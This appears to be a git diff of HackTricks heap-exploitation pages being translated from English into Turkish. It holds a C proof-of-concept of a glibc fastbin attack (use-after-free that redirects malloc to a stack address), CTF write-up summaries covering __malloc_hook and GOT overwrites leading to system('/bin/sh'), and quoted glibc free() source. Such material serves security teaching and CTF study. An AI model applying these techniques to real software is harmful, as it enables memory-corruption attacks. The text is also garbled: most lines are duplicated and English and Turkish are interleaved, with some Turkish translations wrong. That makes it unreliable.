puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```
> [!CAUTION]
> If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack.md) and [unsorted bin attack](unsorted-bin-attack.md)
> Eğer global değişken **`global_max_fast`**'ın değerini büyük bir sayı ile geçersiz kılmak mümkünse, bu, daha büyük boyutlarda hızlı bin parçaları oluşturmayı sağlar ve potansiyel olarak daha önce mümkün olmayan senaryolarda hızlı bin saldırıları gerçekleştirmeye olanak tanır. Bu durum, [büyük bin saldırısı](large-bin-attack.md) ve [sıralanmamış bin saldırısı](unsorted-bin-attack.md) bağlamında faydalıdır.
## Examples
## Örnekler
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
- It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
- **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
- **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
Finally a **one gadget** was written in there.
- Parçaları ayırmak, serbest bırakmak, içeriklerini okumak ve doldurmak (bir taşma açığı ile) mümkündür.
- **Bilgi sızıntısı için parçaları birleştirme**: Teknik, temelde taşmayı kötüye kullanarak sahte bir `prev_size` oluşturmak, böylece bir önceki parçanın daha büyük bir parçanın içine yerleştirilmesini sağlamaktır. Böylece, başka bir parçayı içeren daha büyük bir parça ayırırken, verilerini yazdırmak ve libc'ye bir adres sızdırmak mümkündür (`main_arena+88`).
- **malloc hook'unu geçersiz kılma**: Bunun için, önceki örtüşen durumu kötüye kullanarak, aynı belleğe işaret eden 2 parça elde etmek mümkündü. Bu nedenle, her ikisini de serbest bırakmak (korumaları aşmak için araya başka bir parçayı serbest bırakarak) hızlı bin içinde aynı parçanın 2 kez bulunmasını sağladı. Ardından, tekrar ayırmak, bir sonraki parçanın adresini `__malloc_hook`'tan biraz önce işaret edecek şekilde geçersiz kılmak (yani malloc'un serbest boyut olarak düşündüğü bir tamsayıya işaret etmesi - başka bir geçiş), tekrar ayırmak ve ardından malloc hook'larına bir adres alacak başka bir parça ayırmak mümkündü.\
Sonunda oraya bir **one gadget** yazıldı.
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
- Bir yığın taşması ve serbest bırakıldıktan sonra kullanma ve çift serbest bırakma vardır çünkü bir parça serbest bırakıldığında, işaretçileri yeniden kullanmak ve yeniden serbest bırakmak mümkündür.
- **Libc bilgi sızıntısı**: Bazı parçaları serbest bırakın ve bunlar ana arena konumunun bir kısmına işaret eden bir işaretçi alacaklardır. Serbest bırakılan işaretçileri yeniden kullanabildiğiniz için, bu adresi okuyun.
- **Hızlı bin saldırısı**: Tüm tahsisat işaretçileri bir dizi içinde saklanır, bu nedenle birkaç hızlı bin parçasını serbest bırakabiliriz ve sonuncusunda bu işaretçiler dizisine işaret eden adresi geçersiz kılabiliriz. Ardından, aynı boyutta birkaç parça ayırdığımızda önce geçerli olanı ve ardından işaretçi dizisini içeren sahte olanı alacağız. Artık bu tahsisat işaretçilerini geçersiz kılabiliriz, böylece `free`'nin GOT adresi `system`'e işaret eder ve ardından `"/bin/sh"`'yi parça 1'e yazarak `free(chunk1)` çağrısı yaparız, bu da `system("/bin/sh")`'yi çalıştırır.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Sıralanmamış bin içinde parçaları birleştirmek için bir bayt taşmasını kötüye kullanarak libc bilgi sızıntısı elde etme ve ardından malloc hook'unu bir one gadget adresi ile geçersiz kılmak için hızlı bin saldırısı gerçekleştirme örneği.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
- Bir bilgi sızıntısından sonra, sıralanmamış bin ile bir UAF kullanarak bir libc adresi ve bir PIE adresi sızdırıldı, bu CTF'nin istismarı, kontrol edilen parçaların işaretçilerine sahip olduğu bir yerde bir parça ayırmak için hızlı bin saldırısını kullandı, böylece belirli işaretçileri geçersiz kılmak ve GOT'a bir one gadget yazmak mümkün oldu.
- Sıralanmamış bin saldırısı aracılığıyla kötüye kullanılan bir Hızlı Bin saldırısı bulabilirsiniz:
- Hızlı bin saldırıları gerçekleştirmeden önce libc/yığın adreslerini sızdırmak için serbest listeyi kötüye kullanmanın yaygın olduğunu unutmayın (gerekirse).
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Sadece `0x100`'den büyük boyutlarda parçalar ayırabiliriz.
- Bir Sıralanmamış Bin saldırısı kullanarak `global_max_fast`'ı geçersiz kılın (ASLR nedeniyle 1/16 kez çalışır, çünkü 12 bit değiştirmemiz gerekir, ancak 16 bit değiştirmemiz gerekir).
- Hızlı Bin saldırısı, bir global parça dizisini değiştirmek için. Bu, GOT'u değiştirme ve bazı işlevleri `system`'e işaret etme yeteneği veren keyfi bir okuma/yazma ilkesidir.
{{#ref}}
unsorted-bin-attack.md

2
src/binary-exploitation/libc-heap/heap-memory-functions/README.md
View File

@ -1,4 +1,4 @@
# Heap Memory Functions
# Yığın Bellek Fonksiyonları
{{#include ../../../banners/hacktricks-training.md}}

490
src/binary-exploitation/libc-heap/heap-memory-functions/free.md
View File

@ -2,95 +2,92 @@
{{#include ../../../banners/hacktricks-training.md}}
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
## Ücretsiz Sipariş Özeti <a href="#libc_free" id="libc_free"></a>
(No checks are explained in this summary and some case have been omitted for brevity)
(Bu özet içinde kontroller açıklanmamıştır ve bazı durumlar kısalık için atlanmıştır)
1. If the address is null don't do anything
2. If the chunk was mmaped, mummap it and finish
3. Call `_int_free`:
1. If possible, add the chunk to the tcache
2. If possible, add the chunk to the fast bin
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
1. Eğer adres null ise hiçbir şey yapmayın
2. Eğer parça mmaped ise, mummap yapın ve bitirin
3. `_int_free` çağırın:
1. Mümkünse, parçayı tcache'e ekleyin
2. Mümkünse, parçayı fast bin'e ekleyin
3. Gerekirse parçayı birleştirmek için `_int_free_merge_chunk` çağırın ve bunu sıralanmamış listeye ekleyin
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
`Free` calls `__libc_free`.
`Free` `__libc_free` çağırır.
- If the address passed is Null (0) don't do anything.
- Check pointer tag
- If the chunk is `mmaped`, `mummap` it and that all
- If not, add the color and call `_int_free` over it
- Geçilen adres Null (0) ise hiçbir şey yapmayın.
- Pointer etiketini kontrol edin
- Eğer parça `mmaped` ise, `mummap` yapın ve hepsi bu
- Değilse, rengi ekleyin ve üzerinde `_int_free` çağırın
<details>
<summary>__lib_free code</summary>
<summary>__lib_free kodu</summary>
```c
void
__libc_free (void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */
if (mem == 0) /* free(0) has no effect */
return;
if (mem == 0) /* free(0) has no effect */
return;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
/* Quickly check that the freed pointer matches the tag for the memory.
This gives a useful double-free detection. */
if (__glibc_unlikely (mtag_enabled))
*(volatile char *)mem;
int err = errno;
int err = errno;
p = mem2chunk (mem);
p = mem2chunk (mem);
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
if (chunk_is_mmapped (p)) /* release mmapped memory. */
{
/* See if the dynamic brk/mmap threshold needs adjusting.
Dumped fake mmapped chunks do not affect the threshold. */
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize (p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
}
else
{
MAYBE_INIT_TCACHE ();
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
/* Mark the chunk as belonging to the library again. */
(void)tag_region (chunk2mem (p), memsize (p));
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
__set_errno (err);
__set_errno (err);
}
libc_hidden_def (__libc_free)
```
</details>
## \_int_free <a href="#int_free" id="int_free"></a>
### \_int_free start <a href="#int_free" id="int_free"></a>
### \_int_free başlangıcı <a href="#int_free" id="int_free"></a>
It starts with some checks making sure:
Bazı kontrollerle başlar, bunlar:
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
- **pointer**'ın **hizalanmış** olduğundan emin olmak, aksi takdirde hata `free(): invalid pointer` tetiklenir
- **boyut**un minimumdan az olmadığından ve **boyut**un da **hizalanmış** olduğundan emin olmak, aksi takdirde hata: `free(): invalid size` tetiklenir
<details>
<summary>_int_free start</summary>
<summary>_int_free başlangıcı</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
@ -99,288 +96,279 @@ It starts with some checks making sure:
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
INTERNAL_SIZE_T size; /* its size */
mfastbinptr *fb; /* associated fastbin */
size = chunksize (p);
size = chunksize (p);
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
/* Little security check which won't hurt performance: the
allocator never wraps around at the end of the address space.
Therefore we can exclude some size values which might appear
here by accident or by "design" from some intruder. */
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|| __builtin_expect (misaligned_chunk (p), 0))
malloc_printerr ("free(): invalid pointer");
/* We know that each chunk is at least MINSIZE bytes in size or a
multiple of MALLOC_ALIGNMENT. */
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
malloc_printerr ("free(): invalid size");
check_inuse_chunk(av, p);
check_inuse_chunk(av, p);
```
</details>
### \_int_free tcache <a href="#int_free" id="int_free"></a>
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
Öncelikle bu parçayı ilgili tcache'de tahsis etmeye çalışacaktır. Ancak, bazı kontroller önceden yapılır. Serbest bırakılan parçanın aynı indeksindeki tcache'deki tüm parçaları döngüye alır ve:
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
- Eğer `mp_.tcache_count`'dan daha fazla giriş varsa: `free(): tcache'de çok fazla parça tespit edildi`
- Eğer giriş hizalanmamışsa: `free(): tcache 2'de hizalanmamış parça tespit edildi`
- Eğer serbest bırakılan parça zaten serbest bırakıldıysa ve tcache'de parça olarak mevcutsa: `free(): tcache 2'de çift serbest bırakma tespit edildi`
If all goes well, the chunk is added to the tcache and the functions returns.
Her şey yolunda giderse, parça tcache'e eklenir ve fonksiyon geri döner.
<details>
<summary>_int_free tcache</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache_key))
{
tcache_entry *tmp;
size_t cnt = 0;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = REVEAL_PTR (tmp->next), ++cnt)
{
if (cnt >= mp_.tcache_count)
malloc_printerr ("free(): too many chunks detected in tcache");
if (__glibc_unlikely (!aligned_OK (tmp)))
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}
#endif
```
</details>
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
Öncelikle boyutun fast bin için uygun olup olmadığını kontrol edin ve onu üst chunk'a yakın bir şekilde ayarlamanın mümkün olup olmadığını kontrol edin.
Then, add the freed chunk at the top of the fast bin while performing some checks:
Ardından, bazı kontroller yaparken serbest bırakılan chunk'ı fast bin'in en üstüne ekleyin:
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
- Eğer chunk'ın boyutu geçersizse (çok büyük veya küçük) tetikleyin: `free(): invalid next size (fast)`
- Eğer eklenen chunk zaten fast bin'in en üstündeyse: `double free or corruption (fasttop)`
- Eğer en üstteki chunk'ın boyutu, eklediğimiz chunk'ın boyutundan farklıysa: `invalid fastbin entry (free)`
<details>
<summary>_int_free Fast Bin</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
/*
If eligible, place chunk on a fastbin so it can be found
and used quickly in malloc.
*/
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
#if TRIM_FASTBINS
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
/*
If TRIM_FASTBINS set, don't place chunks
bordering top into fastbins
*/
&& (chunk_at_offset(p, size) != av->top)
#endif
) {
) {
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
<= CHUNK_HDR_SZ, 0)
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
>= av->system_mem, 0))
{
bool fail = true;
/* We might not have a lock at this point and concurrent modifications
of system_mem might result in a false positive. Redo the test after
getting the lock. */
if (!have_lock)
{
__libc_lock_lock (av->mutex);
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
__libc_lock_unlock (av->mutex);
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
if (fail)
malloc_printerr ("free(): invalid next size (fast)");
}
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
atomic_store_relaxed (&av->have_fastchunks, true);
unsigned int idx = fastbin_index(size);
fb = &fastbin (av, idx);
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
mchunkptr old = *fb, old2;
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
if (SINGLE_THREAD_P)
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
p->fd = PROTECT_PTR (&p->fd, old);
*fb = p;
}
else
do
{
/* Check that the top of the bin is not the record we are going to
add (i.e., double free). */
if (__builtin_expect (old == p, 0))
malloc_printerr ("double free or corruption (fasttop)");
old2 = old;
p->fd = PROTECT_PTR (&p->fd, old);
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
!= old2);
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
allocated again. */
if (have_lock && old != NULL
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
malloc_printerr ("invalid fastbin entry (free)");
}
```
</details>
### \_int_free finale <a href="#int_free" id="int_free"></a>
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
Eğer parça henüz herhangi bir kutuda tahsis edilmemişse, `_int_free_merge_chunk` çağrısını yapın.
<details>
<summary>_int_free finale</summary>
```c
/*
Consolidate other non-mmapped chunks as they arrive.
*/
Consolidate other non-mmapped chunks as they arrive.
*/
else if (!chunk_is_mmapped(p)) {
else if (!chunk_is_mmapped(p)) {
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
/* If we're single-threaded, don't lock the arena. */
if (SINGLE_THREAD_P)
have_lock = true;
if (!have_lock)
__libc_lock_lock (av->mutex);
if (!have_lock)
__libc_lock_lock (av->mutex);
_int_free_merge_chunk (av, p, size);
_int_free_merge_chunk (av, p, size);
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
if (!have_lock)
__libc_lock_unlock (av->mutex);
}
/*
If the chunk was allocated via mmap, release via munmap().
*/
else {
munmap_chunk (p);
}
else {
munmap_chunk (p);
}
}
```
</details>
## \_int_free_merge_chunk
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
Bu fonksiyon, P parçasını SIZE bayt ile komşularıyla birleştirmeye çalışacaktır. Ortaya çıkan parçayı sıralanmamış kutu listesine koyar.
Some checks are performed:
Bazı kontroller yapılır:
- If the chunk is the top chunk: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
